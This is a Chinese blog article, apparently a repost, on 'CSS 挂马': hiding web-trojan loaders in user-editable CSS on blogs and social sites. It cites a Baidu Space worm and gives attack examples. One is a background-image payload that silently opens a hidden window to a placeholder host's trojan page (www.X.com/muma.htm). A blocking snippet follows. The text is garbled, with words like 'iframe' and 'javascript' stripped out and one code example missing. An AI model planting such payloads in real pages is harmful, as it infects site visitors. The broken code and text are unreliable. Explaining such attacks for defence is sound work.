黑客们发现发现,用来制作网页特效的CSS代码,也可以用来挂马。

  随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范E挂马的CSS代码演变而来。

  安天实验室阿楠:安全工程师,从事病毒分析多年。

  网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。

  在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记住要想我!http://hi.baidu.com/XXXXX”的站内消息。

  由于网址是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。

  由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。

  我建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。

  黑客为什么选择CSS挂马?

  在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。

  但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

  小百科:

  CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。

  黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

  CSS挂马攻防实录

  攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

  方式1:

  Body

  “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。

  那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

  小百科:

  使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。

  方式2:

  Body

  background-image: url(t:open("http://www.X.com/muma.htm","newwindow","border="1" Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no"))

  方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

  防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。

  目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:

  emiao1:expression(this.src="about:blank",this.outerHTML="");

  将外域的木马代码的src重写成本地IE404错误页面的地址,这样,外域的t代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。

转载于:https://www.cnblogs.com/si-ren/archive/2011/03/06/2447658.html

CSS挂马及相应防范方法相关推荐

  1. 数据库被挂马的ASP处理方法

    数据库被挂马我相信很多人都碰到过.在这里,我讲下我处理的方法. 第一步:为现有数据库做好备份. 第二步: 执行如下ASP文件,这样就可以去掉数据库当中的JS木马: 注:conn.asp自己去写了. ' ...

  2. 服务器被挂马的一般解决方法

    服务器被挂马的原因很多,在解决之前,首先要弄清楚被挂马的类型,比较常见的分为ARP挂马和非ARP挂马. 先说说ARP挂马吧,机房中了ARP的木马,刚接触到的朋友会觉得很神奇,在服务器上看网站程序都没有 ...

  3. 网站被挂马的日常防范

    1.网站上线前,对自己的项目用常用的一些工具进行程序漏洞安全扫描,并且做多份备份: 2.为了安全起见,网站后台管理地址经常改,改完做多份纪录保存,并且做好历史修改记录: 3.默认数据库名称要改,能复杂 ...

  4. Web安全-检测-网页挂马

    网马 网马的本质是一个特定的网页,这个网页包含了攻击者精心构造的恶意代码,这些恶意代码通过利用浏览器(包括控件.插件)的漏洞,加载并执行攻击者指定的恶意软件(通常是木马). 网站挂马是黑客植入木马的一 ...

  5. 织梦网站被黑客生成html,dedecms网站被挂马怎么处理

    dedecms被批量挂马后如何处理?我们知道一般站长选择织梦系统是因为其支持生成静态页面以便于seo优化.但是根据西部数码west263.com开发工程师刘工介绍,一般被挂马的网站不单单是一个页面,目 ...

  6. 网站被黑了被挂马篡改后,如何解决网站被挂马?

    文章目录 网站被黑了.被挂马.被篡改后,自己如何解决网站被挂马? 示例: 方法一 一. 发现被黑,网站被黑的症状 二.自己猜想了一下原因,页面和百度抓取收录显示不一致.查服务器日志方案不可行. 三.找 ...

  7. 网页挂码方式html css,CSS代码 解决网页挂马问题

    CSS代码 解决网页挂马问题 发布时间:2009-10-01 02:13:24   作者:佚名   我要评论 两行CSS来解决网页挂马问题,共5种方案. 两行CSS来解决,共5种方案 一. ifram ...

  8. DEDECMS织梦内容管理系统安全设置(防范网站注入挂马)

    "dede"太脆弱了,早不用早解脱","DEDE安全吗,怎么总是被入侵挂马? ","天,怎么回事,又被挂马了"经常能碰到这样的抱怨 ...

  9. 得得模板首页快照劫持、被篡改被挂马、被入侵解决方法

    第一步:Dedecms备份: 1-1.后台-系统-数据库备份/还原,数据备份. 1-2.打包整站下载到你电脑上来,防止被改坏了无法还原回来.打包可以利用主机面板的打包功能,快速又方便. 织梦安全防护教 ...

最新文章

  1. 推荐7款实用强大的神器工具,建议你先收藏,总有一天你会用到!
  2. mongodb 对内存的占用监控 ——mongostat,linux系统可用的内存是free + buffers + cached...
  3. C#调用Mail发送QQ邮件
  4. C语言文件读写(5)-文件位置相关
  5. Bitcoin 中的挖矿算法(4) 产生genesis区块
  6. bash ps1变量_在 Linux 中打扮你的冬季 Bash 提示符
  7. 聊聊 KVC 和 KVO 的高阶应用
  8. SPH(光滑粒子流体动力学)流体模拟实现六:Position Based Fluid(PBF)
  9. 繁体中文转换为简体中文的PHP函数
  10. setlength java_Java StringBuilder setLength()方法与示例
  11. 微软认知语音服务 语音识别
  12. esxi6.7封装nvme驱动
  13. JavaScript制作简易的《飞机大战》
  14. Activiti 流程配置可视化:SpringBoot 集成 Activiti6 + Activiti Modeler
  15. ADS2015安装包和教程
  16. 怎么给word文档注音_怎么为整篇word文字添加拼音标注
  17. 八皇后算法—java
  18. Foundation框架 之 常见结构体、包装数据、日期
  19. Euclid‘s Game(博弈)
  20. Android 设置背景透明

热门文章

  1. Linux mv命令
  2. 网络安全之等级保护问题集
  3. 理想的人才梯队体系特征:40页人才梯队建设实施方案,果断收藏
  4. 一图流“系列——Ruby vSphere Console命令脑图
  5. VCAP6 – DCV DESIGN COLLECTION
  6. 比较从 vSphere 5.x 到 vSphere 6.5 的各个版本
  7. Java基础学习总结(53)——HTTPS 理论详解与实践
  8. Maven学习总结(7)——eclipse中使用Maven创建Web项目
  9. webpack 合并压缩_webpack 打包压缩js和css的方法示例
  10. 光电技术加持,这款望远镜可以看见外太空